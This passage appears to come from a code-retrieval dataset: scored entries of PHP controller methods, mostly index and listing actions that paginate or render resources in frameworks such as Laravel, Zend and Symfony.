\t}\n \t\n \t//Create a db object\n \trequire_once \"../application/models/Db/Db_Db.php\";\n \t$db = Db_Db::conn();\n \t\n \t//Create a Zend_db_select object\n \t$sql = new Zend_Db_Select($db);\n \t\n \t//Define the columns to retrieve as well as table.\n \t$columns = array(\"id\",\"artist_name\");\n \t$table = array(\"artists\");\n \t\n \t//SELECT `artists`.`id`, `artists`.`artist_name` FROM `artists`\n\t\t$statement = $sql->from($table, $columns);\n \t\n \t//Initialize the Zend_Paginator\n \t$paginator = Zend_Paginator::factory($statement);\n \t\n \t//Set the properties for the pagination\n \t$paginator->setItemCountPerPage(10);\n \t$paginator->setPageRange(10);\n \t$paginator->setCurrentPageNumber($currentPage);\n \t\n \t$this->view->paginator = $paginator;\n \t\n }", "title": "" }, { "docid": "7c87396141031b5bdb4d7fce1a123f8f", "score": "0.7008967", "text": "public function index()\n {\n $this->listing('0', '', '0');\n }", "title": "" }, { "docid": "20d766db80674b0e4072b2719471b257", "score": "0.69712967", "text": "public function index()\n {\n\n $ourresource = OurResource::all();\n return view('Admin.ourresource.all', compact('ourresource'));\n }", "title": "" }, { "docid": "217e339de79424bf236318e41ddb0695", "score": "0.6958182", "text": "public function index()\n {\n $resources = Resource::getResourceDetails();\n return view('admin.resources.index')->with('resources', $resources);\n }", "title": "" }, { "docid": "84dde6f109c23a0b3b845c0d6e864169", "score": "0.69026124", "text": "public function index()\n\t{\n $config['list'] = VrResources::get()->toArray();\n $config['title'] = trans('app.adminMenuResources');\n $config['no_data'] = trans('app.adminNoData');\n $config['new'] = route('app.resources.create');\n $config['edit'] = 'app.resources.edit';\n $config['delete'] = 'app.resources.destroy';\n return view('admin.adminList', $config);\n\t}", "title": "" }, { "docid": "6e166e624d00d2c763463d2f398dd1ef", "score": "0.68946916", "text": "public function indexAction() {\n $this->pageTitle = $this->_(\"AclResource management\");\n $grid = new AclResourceGrid(\"AclResource\");\n $grid->run();\n $this->view->setVars(array(\n 'grid' => $grid\n ));\n }", "title": "" }, { "docid": "bebf123d6dd48762f8190b1776616d05", "score": "0.68929", "text": "public function index()\n {\n if (is_null($this->resource)) {\n return response()->json($this->service->paginate());\n } else {\n return $this->resource::collection($this->service->paginate());\n }\n }", "title": "" }, { "docid": "97968d8873a94786d3e40145696ee2bd", "score": "0.68919075", "text": "public function index()\n {\n return Resources::collection(Model::orderBy('id', 'desc')->paginate());\n }", "title": "" }, { "docid": "5dc08bdec3bdf1e8261a81891fdb5f4e", "score": "0.6873949", "text": "public function index()\n {\n $arrObjResource = Resource::latest()->paginate(5);\n return view('resource.index', compact('arrObjResource'))\n ->with('i', (request()->input('page', 1) - 1) * 5);\n }", "title": "" }, { "docid": "0e8ad7256c7bbd8504ebf3d782bb3209", "score": "0.68704486", "text": "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $resources = $em->getRepository('AppBundle:Resource')->findBy(array('channel' => $this->getUser()->getActiveChannel()));\n\n return $this->render('AppBundle:Resource:index.html.twig', array(\n 'resources' => $resources,\n 'channel' => $this->getUser()->getActiveChannel(),\n ));\n }", "title": "" }, { "docid": "e76df9bb5e40cc75acb3fb5e4b084b82", "score": "0.6848992", "text": "public function listing() {\n $title = \"Admin - Listing\";\n $this->set(compact('title'));\n\n $conditions = array('delete_status' => NotDeleted);\n if ($this->request->is('post') && !empty($this->request->data['search'])) {\n $conditions['OR']['first_name LIKE'] = '%' . $this->request->data['search'] . '%';\n $conditions['OR']['last_name LIKE'] = '%' . $this->request->data['search'] . '%';\n $conditions['OR']['email LIKE'] = '%' . $this->request->data['search'] . '%';\n }\n\n $this->paginate = [\n 'limit' => PAGING_SIZE,\n 'conditions' => $conditions,\n ];\n $Results = $this->paginate('Admins');\n $this->set(compact('Results'));\n\n if ($this->request->is('ajax')) {\n $this->viewBuilder()->layout('ajax');\n $this->viewBuilder()->templatePath('Element' . DS . 'admin' . DS . 'admin');\n $this->render('index');\n }\n }", "title": "" }, { "docid": "6b9f4551cb0d7103440e15f4ff2bc102", "score": "0.6844889", "text": "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_actividadModel->getActividad();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "title": "" }, { "docid": "95b579529f8b40d1b2b6ae580a9b3250", "score": "0.6835474", "text": "public function index()\n {\n $this->params['page'] = empty($this->params['page']) ? 1 : $this->params['page'];\n $collection = $this->model->paginate($this->params);\n $this->set('objects', $collection['objects']);\n $this->set_pagination($collection);\n }", "title": "" }, { "docid": "358b82626374a39ca1c5cb87e1d94243", "score": "0.68288803", "text": "public function crane_list() {\n\t\t\t$this->setAction('index');\t\n\t\t\t$this->render('crane_list');\n\t}", "title": "" }, { "docid": "4b8e52b6fdf81afdda958487f24d56b3", "score": "0.68279797", "text": "public function listAction()\n {\n $catalog = $this->container->get('catalog');\n\n $book_list = $catalog->listBooks();\n\n return [\n 'list' => $book_list,\n ];\n }", "title": "" }, { "docid": "3824dabd41509647ac9d2bc02a329701", "score": "0.68272334", "text": "public function indexAction()\n {\n $config = $this->getConfiguration();\n\n $listRenderer = $this->getListRenderer();\n $sort = $this->getSort();\n $listRenderer->setSort($sort);\n $criteria = $this->getFilterCriteria();\n\n $pager = $this->getPager();\n $pager->setMaxRows($config->getListOption('max_page_rows'));\n $pager->setPage($this->getCurrentPage());\n $pager->setQueryBuilder(\n $this->getModelManager()->buildQuery(\n $criteria,\n $sort\n )\n );\n\n $criteria = $this->getModelManager()->mergeFilterCriteriaObjects($criteria);\n $filterForm = $this->getFilterRenderer()->getForm($criteria);\n\n return $this->container->get('templating')\n ->renderResponse($listRenderer->getTemplate(), array(\n 'renderer' => $listRenderer,\n 'filter' => $this->getFilterRenderer(),\n 'pager' => $pager,\n 'csrf' => $this->container->get('form.csrf_provider')->generateCsrfToken('list'),\n 'filtered' => count($criteria),\n 'form' => $filterForm->createView()\n ));\n }", "title": "" }, { "docid": "cf4f6462e1cc3025d88860aa2c4ba62f", "score": "0.6825393", "text": "function index()\n\t{\n\t\t$args = func_get_args();\n\t\tcall_user_func_array(array($this, 'listing'), $args);\n\t}", "title": "" }, { "docid": "01d58c7ca6fc90f9a714a9eb1332496e", "score": "0.6821498", "text": "public function index()\n\t{\n\t\t$resourceLikes = $this->resourceLikeRepository->paginate(10);\n\n\t\treturn view('resourceLikes.index')\n\t\t\t->with('resourceLikes', $resourceLikes);\n\t}", "title": "" }, { "docid": "550d19f420a94197568709e17d512612", "score": "0.68181574", "text": "public function listTask()\n\t{\n\t\t// Incoming directory (this should be a path built from a resource ID and its creation year/month)\n\t\t$listdir = Request::getString('listdir', '');\n\t\tif (!$listdir)\n\t\t{\n\t\t\techo '<p class=\"error\">' . Lang::txt('COM_RESOURCES_ERROR_NO_LISTDIR') . '</p>';\n\t\t\treturn;\n\t\t}\n\n\t\t// Incoming sub-directory\n\t\t$subdir = Request::getString('subdir', '');\n\n\t\t// Build the path\n\t\t$path = Utilities::buildUploadPath($listdir, $subdir);\n\n\t\t$folders = array();\n\t\t$docs = array();\n\n\t\tif (is_dir($path))\n\t\t{\n\t\t\t// Loop through all files and separate them into arrays of images, folders, and other\n\t\t\t$dirIterator = new \\DirectoryIterator($path);\n\n\t\t\tforeach ($dirIterator as $file)\n\t\t\t{\n\t\t\t\tif ($file->isDot())\n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t$name = $file->getFilename();\n\n\t\t\t\tif ($file->isDir())\n\t\t\t\t{\n\t\t\t\t\t$folders[$path . DS . $name] = $name;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tif ($file->isFile())\n\t\t\t\t{\n\t\t\t\t\tif (in_array(strtolower($name), array('cvs', '.svn', '.git', '.ds_store')))\n\t\t\t\t\t{\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$docs[$path . DS . $name] = $name;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tksort($folders);\n\t\t\tksort($docs);\n\t\t}\n\n\t\t$this->view\n\t\t\t->set('listdir', $listdir)\n\t\t\t->set('subdir', $subdir)\n\t\t\t->set('docs', $docs)\n\t\t\t->set('folders', $folders)\n\t\t\t->set('config', $this->config)\n\t\t\t->setErrors($this->getErrors())\n\t\t\t->setLayout('list')\n\t\t\t->display();\n\t}", "title": "" }, { "docid": "78f3ca79946467b9bfd80223ec5ba614", "score": "0.6808544", "text": "public function index()\n {\n return PlayResource::collection(Play::paginate());\n }", "title": "" }, { "docid": "f1c7ec0399bbc0a26f289a612459ed88", "score": "0.67977417", "text": "function index()\r\n\t{\r\n $this->showlist();\r\n\t}", "title": "" }, { "docid": "31a61aadfd15cf04075c88c5088f8860", "score": "0.67884994", "text": "public function listing(Request $request)\n {\n //validations and access control\n $this->validationAndAccess(__FUNCTION__, $request);\n\n //Start query builder. You can start limiting your results here, for example:\n $scope = $this->nested_parameters;\n if(empty($scope)){\n $query = '';\n }else{\n $query = $this->model->select($this->model->availableTableFields());\n foreach($scope as $field => $value){\n $query = (!empty($value)) ? $query->where($field,'=',$value) : $query;\n }\n }\n\n //Get resources list using our query builder function, just to pass the tablable model, the json request from the table view and optionally, a initial query object.\n $query_results = VibrantTools::getListFromModel($this->model, $request, $this->force_id_request, $query);\n\n return response()->json($query_results);\n }", "title": "" }, { "docid": "118caca12a46f44cf44d066cf46e4baf", "score": "0.6768095", "text": "public function index()\n {\n return ItemResource::collection(Items::orderBy('id', 'desc')->paginate(30));\n }", "title": "" }, { "docid": "50b94f1d44a80883647d7fc440645f79", "score": "0.67589504", "text": "public function listAction()\n {\n $contents = $this->entityManager->getRepository('Studit\\H5PBundle\\Entity\\Content')->findAll();\n return $this->render('@StuditH5P/list.html.twig', ['contents' => $contents]);\n }", "title": "" }, { "docid": "6cb967692b4f77fb138723c118707e5a", "score": "0.6756384", "text": "public function listAction()\n\t{\n\t\t$pages = Model_Query_Page::getTree(Model_Query_Page::TREE_TYPE_FLAT);\n\t\t\n\t\t$this->view->pages = $pages;\n\t}", "title": "" }, { "docid": "a62c8fb3c6a39b17143e4f99a44215eb", "score": "0.674278", "text": "public function index()\n {\n // Get Products\n $products = Product::paginate(15);\n\n // Return collection of products as a resource\n return ProductResource::collection($products);\n }", "title": "" }, { "docid": "17f3cd4988f20f8325c593af544287ff", "score": "0.67272323", "text": "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "title": "" }, { "docid": "24af10ce4b6b3777185b0f14f381d2ed", "score": "0.6723023", "text": "public function index() {\n $resources = $this->resourceMapper->findAll();\n\n // put the array containing Resource object to the view\n $this->view->setVariable(\"resources\", $resources);\n if (isset($this->currentUser) && $this->currentUser->getUser_type() == usertype::Administrator){\n $this->view->render(\"resources\", \"index\");\n }\n }", "title": "" }, { "docid": "1d448703f5190066628ad9862a2d03f8", "score": "0.67209285", "text": "public function indexAction() {\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n\n //GET VIEWER\n $viewer = Engine_Api::_()->user()->getViewer();\n\t\t$viewer_id = $viewer->getIdentity();\n\n //GET LISTING SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n \n\t\t//GET LEVEL SETTING\n $this->view->allowed_upload_photo = Engine_Api::_()->authorization()->isAllowed($list, $viewer, 'photo');\n \n //GET PAGINATOR\n $this->view->album = $album = $list->getSingletonAlbum();\n $this->view->paginator = $paginator = $album->getCollectiblesPaginator();\n $this->view->total_images = $paginator->getTotalItemCount();\n $paginator->setCurrentPageNumber($this->_getParam('page'));\n $paginator->setItemCountPerPage(20);\n\n if (empty($this->view->allowed_upload_photo) && empty($this->view->total_images)) {\n return $this->setNoRender();\n }\n \n //ADD COUNT TO TITLE\n if ($this->_getParam('titleCount', false) && $paginator->getTotalItemCount() > 0) {\n $this->_childCount = $paginator->getTotalItemCount();\n }\n }", "title": "" }, { "docid": "871969a5830c5824710f35f92b284e14", "score": "0.6717003", "text": "public function list_action()\n {\n $productRp = new ProductRepository;\n\n $pageTitle = 'crud';\n $crudLinkStyle = 'current_page';\n\n $cssStyleRule = $this->buildStyleRule();\n $backgroundColor = $this->getBackgroundColor();\n\n $isLoggedInAsAdmin = $this->isAdminUser();\n\n // 2. get all products\n $products = $productRp->get_all_products();\n\n $isLoggedIn = $this->is_logged_in_from_session();\n $user_name = $this->username_from_session();\n\n\n require_once __DIR__ . '/../template/admin_crud.php';\n }", "title": "" }, { "docid": "114a63c0832877abfdcd8697254fa24d", "score": "0.67128056", "text": "public function list()\n {\n // On va vérifier les authorisations : Admin only\n $this->checkAuthorisation(['admin']);\n\n // On appelle la méthode show() de l'objet courant\n // En argument, on fournit le fichier de Vue\n // Par convention, chaque fichier de vue sera dans un sous-dossier du nom du Controller\n\n $products = Product::findAll();\n\n $dataToDisplay = [\n 'products' => $products\n ];\n\n // On va appeler (require) le fichier views/category/list.tpl.php\n $this->show('product/list', $dataToDisplay);\n }", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "86eb524e99a31621e46aa2e8718e61f6", "score": "0.67027086", "text": "public function index()\n {\n $items = Item::orderBy('id', 'DESC')->paginate(10);\n\n return ItemResource::collection($items);\n }", "title": "" }, { "docid": "d79dbba2d57614ef830362a19c63a970", "score": "0.66864055", "text": "public function index()\n {\n return $this->view('list', [\n 'elements' => $this->service->index()\n ]);\n }", "title": "" }, { "docid": "db8a0696586c7515873c89a6a0d1cb86", "score": "0.6681138", "text": "public function actionIndex()\n {\n $array = MyList::getAll();\n\n return $this->render('index', ['model' => $array]);\n }", "title": "" }, { "docid": "f87e4c930a716211a968b3d9cc7f28cb", "score": "0.6679537", "text": "public function listAction()\n {\n $data = array(\n 'red',\n 'green',\n 'blue',\n 'yellow'\n );\n\n $request = $this->getRequest();\n $acceptHeader = $request->getHeader('Accept');\n\n $this->view->assign(\n array(\n 'data' => $data\n )\n );\n }", "title": "" }, { "docid": "0fd2e15257bfa9204ec9573726987c66", "score": "0.66752803", "text": "public function index()\n {\n $menu = Menu::paginate(10);\n\n return MenuResource::collection($menu);\n }", "title": "" }, { "docid": "daba699beaeef91359ed7b10313414c0", "score": "0.6675206", "text": "public function index()\n {\n $this->checkPermission(\"admin_permission_management\");\n $items = $this->service->getAll();\n\n $items = ApiResource::collection($items);\n\n return $this->respondWithSuccess($items);\n }", "title": "" }, { "docid": "93802b97c6f44ae5e366b70deec744b9", "score": "0.66626006", "text": "public function show()\n {\n $results = $this->run('show');\n }", "title": "" }, { "docid": "5278e85997fa12c693ce5b7a9a5f2e24", "score": "0.6659221", "text": "public function index() {\n\t\treturn ClientResource::collection(Client::paginate(15));\n\t}", "title": "" }, { "docid": "601280f6c7a8fe1284080c1c22a3e447", "score": "0.6654493", "text": "public function index()\n {\n // Get Accounts\n $accounts = Account::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of Accounts as a resource\n return AccountResource::collection($accounts);\n }", "title": "" }, { "docid": "5d3102f6a725b79d77b0e3bc731ae984", "score": "0.66521215", "text": "public function index()\n {\n $polls = Poll::latest()->paginate(16);\n return PollResource::collection($polls);\n }", "title": "" }, { "docid": "4c33127363526600cc1da25d18f917b1", "score": "0.66481763", "text": "public function index()\n {\n $entries = Entry::all();\n return view('list', compact('entries'));\n }", "title": "" }, { "docid": "e2eacd814cad9b8205ce83c08f3b5e18", "score": "0.6644318", "text": "public function showAllAction()\n {\n $title = \"Product overview\";\n $page = $this->app->page;\n $db = $this->app->db;\n\n $this->connection();\n $sql = \"SELECT * FROM product;\";\n $res = $db->executeFetchAll($sql);\n\n $data = [\n \"res\" => $res,\n \"check\" => \"check\"\n ];\n\n // $page->add(\"flash\", [], \"hej\");\n $page->add(\"products/header\");\n $page->add(\"products/show-all\", $data);\n\n return $page->render([\n \"title\" => $title,\n ]);\n }", "title": "" }, { "docid": "7ba8d3b39da88e11faeb12313b1810c2", "score": "0.6642726", "text": "public function index()\n {\n return view('pages.listing-list', [ 'listings' => Listing::all() ]);\n }", "title": "" }, { "docid": "2e266895b57f5ca532a4517799527c81", "score": "0.6637523", "text": "public function index()\n {\n $this->authorize('viewAny', Article::class);\n return ArticleResource::collection(Article::paginate(10));\n }", "title": "" }, { "docid": "e3549202853588a65782bc96028199ed", "score": "0.6635664", "text": "public function indexAction()\n {\n $page = isset($_GET['page']) ? (int)$_GET['page'] : 1;\n $perpage = 9;\n $count = R::count('product');\n $pagination = new Pagination($page, $perpage, $count);\n $start = $pagination->getStart();\n $products = R::getAll(\"SELECT product.*, category.title AS cat FROM product JOIN category ON category.id = product.category_id ORDER BY product.title LIMIT $start, $perpage\");\n $this->setMeta('Product Liste');\n $this->set(compact('products', 'pagination', 'count'));\n }", "title": "" }, { "docid": "c7312e7e8966df50b49658cf582ce6ec", "score": "0.66348624", "text": "public function index()\n {\n return ScreenResource::collection(Screen::orderby('created_at','desc')->paginate(10));\n }", "title": "" }, { "docid": "a7737316f2150c9517aa85bb9cd5c182", "score": "0.6620835", "text": "public function actionList()\n {\n $this->render(\n 'list',\n array(\n 'modules' => ($modules = $this->getInstalledModules()) ? $modules : array(),\n )\n );\n }", "title": "" }, { "docid": "fe5cbdcbc1d4a099ac316f47b6bde600", "score": "0.66093606", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n }", "title": "" }, { "docid": "48b9c834ddf22a0e1e54ba121573b35d", "score": "0.65925086", "text": "public function index()\n {\n $items= Item::all();\n return ItemResource::collection($items);\n }", "title": "" }, { "docid": "ca2a7c14d5251722cbb44ad0cf858243", "score": "0.65886205", "text": "public function overviewAction()\n {\n return $this->getProxy(self::PROXY_CLASS)->findAll();\n }", "title": "" }, { "docid": "904c604bfcee5f1df6ea56185ca68d5b", "score": "0.6587205", "text": "public function index()\n {\n //GET all the ARTICLES\n $articles = Article::paginate(15);//display 15 records per page\n\n //return colletion of articles\n return ArticleResource::collection($articles);\n\n }", "title": "" }, { "docid": "1cb3c7ae8b44dd6649599a0c6b21c3c7", "score": "0.65857047", "text": "public function index()\n\t{\n\t\t$data = [\n\t\t\t'pageTitle' => $this->getResourcePluralName(),\n\t\t\t'allItems' => $this->repo->search($this->getIndexFilter()),\n\t\t\t'isDestroyingEntityAllowed' => $this->isDestroyAllowed(),\n\t\t\t'canCreateEntities' => $this->canCreateEntities(),\n\t\t\t'canEditEntities' => $this->canEditEntities(),\n\t\t];\n\n\t\t$viewName = $this->getIndexViewName();\n\n\t\treturn view($viewName, $data);\n\t}", "title": "" }, { "docid": "918a60c91683ae2630d02bdb5af36fd8", "score": "0.6585502", "text": "public function index()\n\t{\n\t\t// if view_table_permission is false, abort\n\t\tif (isset($this->crud['view_table_permission']) && !$this->crud['view_table_permission']) {\n\t\t\tabort(403, 'Not allowed.');\n\t\t}\n\n\t\t// get all results for that entity\n\t\t$model = $this->crud['model'];\n\t\t$this->data['entries'] = $model::all();\n\n\t\t$this->_prepare_columns(); // checks that the columns are defined and makes sure the response is proper\n\n\t\t$this->data['crud'] = $this->crud;\n\n\t\t// load the view from /resources/views/vendor/dick/crud/ if it exists, otherwise load the one in the package\n\t\tif (view()->exists('vendor.dick.crud.list'))\n\t\t{\n\t\t\treturn view('vendor.dick.crud.list', $this->data);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn view('crud::list', $this->data);\n\t\t}\n\t}", "title": "" }, { "docid": "4e0e77be39529387e26200c96e69287c", "score": "0.65843135", "text": "public function index()\n {\n return $this->respondResource($this->courseTransformer->transformCollection($this->model->all()));\n }", "title": "" }, { "docid": "679aeb0a886968964597db4d52db9f05", "score": "0.65769154", "text": "public function action_list() {\n\t\tKohana::$log->add(Kohana::DEBUG,'Executing Controller_Admin_Photo::action_list');\n\n\t\t// Build request\n\t\t$query = DB::select();\n\n\t\tif(isset($_POST['terms']))\n\t\t{\n\t\t\t$query->where('title','like',\"%\".$_POST['terms'].\"%\");\n\t\t\t$query->or_where('subtitle','like',\"%\".$_POST['terms'].\"%\");\n\t\t}\n\n\t\t$photos = Sprig::factory('photo')->load($query, FALSE);\n\n\n\t\tif(Request::$is_ajax)\n\t\t{\n\t\t\t// return a json encoded HTML table\n $this->request->response = json_encode(\n\t\t\t\tView::factory('admin/photo/list_tbody')\n\t\t\t\t\t->bind('photos', $photos)\n ->render()\n );\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// return the full page\n\t\t\t$this->template->content = View::factory('admin/photo/list')\n\t\t\t\t->set('tbody', View::factory('admin/photo/list_tbody')\n\t\t\t\t\t->bind('photos', $photos)\n\t\t\t\t);\n\t\t}\n\t}", "title": "" }, { "docid": "e99878c1a0eff5bcf7bf12ed5c8ef9d5", "score": "0.65716714", "text": "public function show()\n {\n return view('listing::show');\n }", "title": "" }, { "docid": "2a58e9f56c195880d92e6beb689abbba", "score": "0.6570577", "text": "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t\n\t\t$perpage = $this->perpage;\n\t\t$search = array();\n\t\t\n\t\tlist($total, $data) = Cut_Service_Type::getList($page, $perpage, $search);\n\t\t$count = Cut_Service_Store::getCountByType();\n\t\t$this->assign('data', $data);\n\t\t$this->assign('count', $count);\n\t\t$url = $this->actions['listUrl'] .'/?'. http_build_query($search) . '&';\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $url));\n\t\t$this->assign('search', $search);\n\t\t$this->cookieParams();\n\t}", "title": "" }, { "docid": "ec4c68627da9cf6d0e66bd08ee79a1dc", "score": "0.65669394", "text": "public function index()\n {\n // Get articles\n $phonebook = Phonebook::all();\n // $phonebook = Phonebook::orderBy('created_at', 'desc')->paginate(10);\n\n // Return collection of articles as a resource\n return PhonebookResource::collection($phonebook);\n }", "title": "" }, { "docid": "c192cad1748d0fe11000b8d2063a908e", "score": "0.65643096", "text": "public function index()\n {\n return $this->view('lists');\n }", "title": "" }, { "docid": "91bd64ec31d39c68673ba29f7d9f8854", "score": "0.6563426", "text": "public function index()\n {\n $books = Book::all();\n\n return BookResource::collection($books);\n }", "title": "" }, { "docid": "fbe5edfb0d98ba0fd6a7b19c41578f77", "score": "0.6557768", "text": "public function index()\n {\n try{\n $records = $this->recordRepository->all();\n return RecordResource::collection($records);\n }catch(Exception $ex){\n return (new RecordResource(null))->additional([\"success\" => false, 'message' => $ex->getMessage()]);\n }\n }", "title": "" }, { "docid": "d6b8267e53f8fa9ab6b806d4fbc412ee", "score": "0.655762", "text": "public function indexAction()\n {\n $total = 0;\n $records = $this->selectRecords($total);\n\n $this->apiOutRecords($records, array('_total' => $total));\n }", "title": "" }, { "docid": "3880843e6dad72ba6c5735793fc1ed0b", "score": "0.6556616", "text": "public function index()\n {\n $query = Person::getList(request('filter', ''))\n ->orderBy(request('order_by','s_FullLegalName'),request('order','ASC'));\n \n return PersonResource::collection($query->paginate(request('per_page', 100)));\n }", "title": "" }, { "docid": "04cfd6b456f88347b94d80eedaf2f138", "score": "0.65456504", "text": "public function index()\n {\n return new FormatResourceCollection(Format::paginate(12));\n }", "title": "" }, { "docid": "9c04a592d034f52c23e6d6ecf983a3ae", "score": "0.6544668", "text": "public function index()\n {\n return EmployeeResource::collection(Employee::query()->paginate());\n }", "title": "" }, { "docid": "ab27904c6696fc1d0abf6bfaac7bde7e", "score": "0.65404403", "text": "public function listAction()\n {\t\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepEmp = $em->getRepository('BoAdminBundle:SupEmployee');\n\t\t$nb_tc = $oRepEmp->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$supemployees = $em->getRepository('BoAdminBundle:SupEmployee')->findBy(array(),array('firstname' => 'asc'),$nb_cpp,$offset);\n return $this->render('supemployee/index.html.twig', array(\n 'supemployees' => $supemployees,\n\t\t\t'types'=>$em->getRepository('BoAdminBundle:Contracts')->getContractType(),\n\t\t\t'languages'=>$em->getRepository('BoAdminBundle:Language')->getAll(),\n\t\t\t'statuss'=>$em->getRepository('BoAdminBundle:Employee')->getStatusEmployee(),\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'message'=> $this->getSessionMessage(),\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"archives\",\n\t\t\t'sm'=>\"supemployee\",\n ));\n }", "title": "" }, { "docid": "4b7799b0d4a4b471dbc995e613462306", "score": "0.6540187", "text": "public function listAction()\n {\n return new Response(\n json_encode([\n [\n 'id' => 1,\n 'title' => 'First Post on Vox',\n 'author' => 'Mario Rossi',\n 'author_id' => 1,\n 'excerpt' => \"Here we are! Finally this is my first post on Vox and I am so happy that...\",\n 'content' => \"Here we are! Finally this is my first post on Vox and I am so happy that this is my lorem ipsum bla bla bla bla!\",\n 'date' => \"08/01/2015\"\n ],\n [\n 'id' => 2,\n 'title' => 'And yes, this is my second post!',\n 'author' => 'Lukas Schneider',\n 'author_id' => 2,\n 'excerpt' => \"Well this is already my second post and so you already know that...\",\n 'content' => \"Well this is already my second post and so you already know that, in terms of being my second post,\n this is exactly what is says it is: my second, incredibly well written and fantastimagically published post!\",\n 'date' => \"09/02/2015\"\n ]\n ]),\n 200,\n 'application/json'\n );\n }", "title": "" }, { "docid": "7bf076a0c3e59596e2f2d0bcbed69f85", "score": "0.65379655", "text": "public function index()\n {\n $artigos = Artigo::paginate(15);\n return ArtigoResource::collection($artigos);\n }", "title": "" }, { "docid": "f02310ea34b1d707bc2f4d714e4c27f4", "score": "0.65372354", "text": "public function index()\n {\n return view($this->template.'.list.index');\n }", "title": "" }, { "docid": "f852b02ada9624be17ccc6c0b233bca4", "score": "0.65288365", "text": "public function list()\n {\n }", "title": "" }, { "docid": "151cb6ff960217da12cef7baa33178ed", "score": "0.652593", "text": "public function listAction()\n {\n if ((!$this->auth->hasIdentity()) || ($this->session->type != '1'))\n $this->_helper->redirector('index', 'index');\n\n $this->view->headTitle(\"Noticias\");\n $this->view->headLink()->appendStylesheet($this->view->baseUrl().'/css/list.css');\n\n $tbNews = new TbNews();\n $this->view->news = $tbNews->select()->query()->fetchAll();\n }", "title": "" }, { "docid": "37171947214224489a9ea88290a99d00", "score": "0.652515", "text": "public function index()\n {\n return view(self::$prefixView.'list');\n }", "title": "" }, { "docid": "37171947214224489a9ea88290a99d00", "score": "0.652515", "text": "public function index()\n {\n return view(self::$prefixView.'list');\n }", "title": "" }, { "docid": "b1dec5f0dac45e2b14cc0f57d1289acb", "score": "0.65199256", "text": "public function index()\n {\n //\n\t\t\t\t// $resources = Resource::all();\n\t\t\t\t// $resources = $resources->sortByDesc('creation_date');\n\t\t\t\t// return response()->json($resources->values()->all());\n\n\t\t\t\treturn response()->json(Resource::orderBy('creation_date', 'desc')->get());\n }", "title": "" }, { "docid": "e88169ebd124db7bccec6b3cfb0167be", "score": "0.65179664", "text": "public function index()\n {\n $albums = Album::orderBy('date', 'desc')->paginate(20);\n\n\n return AlbumResource::collection($albums);\n }", "title": "" }, { "docid": "fbf72fd4f1e2e3a08a1398a646fce575", "score": "0.651124", "text": "public function index()\n\t{\n\t\t$shows = $this->shows->all();\n\t\n\t\treturn $this->apiResponse('success', $shows->toArray());\n\t}", "title": "" }, { "docid": "1860cb7aec35aa79a7186d6bd7c6a7d4", "score": "0.65010643", "text": "public function index()\n {\n //\n return view('backend.admin.catalogs.index')\n ->with(['catalogs' => Catalog::paginate(10)]);\n }", "title": "" }, { "docid": "66db74bb7d42b9897dbcbf88ebabf0ca", "score": "0.64994514", "text": "public function index()\n {\n $request = request();\n if($request->query->has('page_size')){\n $this->setPageSize(request()->query->getInt('page_size', $this->page_size));\n }\n\n $items = $this->indexService->getItems($this->pageSize());\n\n return view($this->templateIndex, [\n 'items' => $items,\n 'title' => $this->getTitle(),\n 'controller' => $this->getController(),\n 'fields' => $this->listFields(),\n 'sortable' => $this->isSortable\n ]);\n }", "title": "" }, { "docid": "3bcd0d0bc609b30833a686c0ca043c6e", "score": "0.6498308", "text": "public function index()\n {\n $links = Link::all();\n\n return LinkResource::collection($links);\n }", "title": "" }, { "docid": "bc53be210c897827bfafe166eceeb35a", "score": "0.6491012", "text": "public function index()\n {\n $employees = $this->paginate($this->Employees);\n\n $this->set(compact('employees'));\n $this->set('_serialize', ['employees']);\n }", "title": "" }, { "docid": "43a505c360befd38cd453143a05a36e2", "score": "0.6481906", "text": "public function index()\n {\n $statuses = $this->statuses->paginate(10);\n\n return view('backend.statuses.index',compact('statuses'));\n }", "title": "" }, { "docid": "65d1d46b6cab2b6d3d5320b59de21946", "score": "0.64814454", "text": "public function index()\n {\n //get some articles\n $posts = Post::paginate(15);\n //return the collection as resource\n return PostResource :: collection($posts);\n }", "title": "" } ]
28b219b80012263d49fa9024fbc51726
Answers true to enable fixed width mode.
[ { "docid": "39cfc0d02e1c715433d8942864d9e6f7", "score": "0.6578834", "text": "public function getFontIconFixedWidth()\n {\n return true;\n }", "title": "" } ]
